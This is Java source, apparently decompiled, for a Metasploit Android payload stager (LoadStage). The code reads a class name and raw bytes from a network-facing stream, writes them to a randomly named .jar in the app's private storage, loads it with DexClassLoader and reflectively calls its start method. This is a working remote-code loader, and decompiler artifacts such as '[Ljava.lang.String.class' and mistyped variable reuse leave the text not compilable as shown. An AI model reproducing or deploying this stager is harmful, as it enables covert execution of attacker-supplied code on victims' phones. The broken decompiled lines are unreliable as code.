package com.metasploit.stage;

import android.content.Context;
import dalvik.system.DexClassLoader;
import java.io.DataInputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Method;
import java.util.Random;

public class LoadStage
{
  private String randomJarName()
  {
    char[] arrayOfChar = "abcdefghijklmnopqrstuvwxyz".toCharArray();
    StringBuilder localStringBuilder = new StringBuilder();
    Random localRandom = new Random();
    for (int i = 0; ; i++)
    {
      if (i >= 20)
        return localStringBuilder.toString() + ".jar";
      localStringBuilder.append(arrayOfChar[localRandom.nextInt(arrayOfChar.length)]);
    }
  }

  public void start(DataInputStream paramDataInputStream, OutputStream paramOutputStream, Context paramContext, String[] paramArrayOfString)
    throws Exception
  {
    Object localObject2 = randomJarName();
    Object localObject1 = paramContext.getFilesDir().getAbsolutePath();
    Object localObject3 = new byte[paramDataInputStream.readInt()];
    paramDataInputStream.readFully(localObject3);
    localObject3 = new String(localObject3);
    byte[] arrayOfByte = new byte[paramDataInputStream.readInt()];
    paramDataInputStream.readFully(arrayOfByte);
    FileOutputStream localFileOutputStream = paramContext.openFileOutput((String)localObject2, 0);
    localFileOutputStream.write(arrayOfByte);
    localFileOutputStream.close();
    localObject2 = new DexClassLoader((String)localObject1 + File.separatorChar + (String)localObject2, (String)localObject1, (String)localObject1, paramContext.getClassLoader()).loadClass((String)localObject3);
    localObject1 = ((Class)localObject2).newInstance();
    localObject3 = new Class[4];
    localObject3[0] = DataInputStream.class;
    localObject3[1] = OutputStream.class;
    localObject3[2] = Context.class;
    localObject3[3] = [Ljava.lang.String.class;
    localObject2 = ((Class)localObject2).getMethod("start", localObject3);
    localObject3 = new Object[4];
    localObject3[0] = paramDataInputStream;
    localObject3[1] = paramOutputStream;
    localObject3[2] = paramContext;
    localObject3[3] = paramArrayOfString;
    ((Method)localObject2).invoke(localObject1, localObject3);
  }
}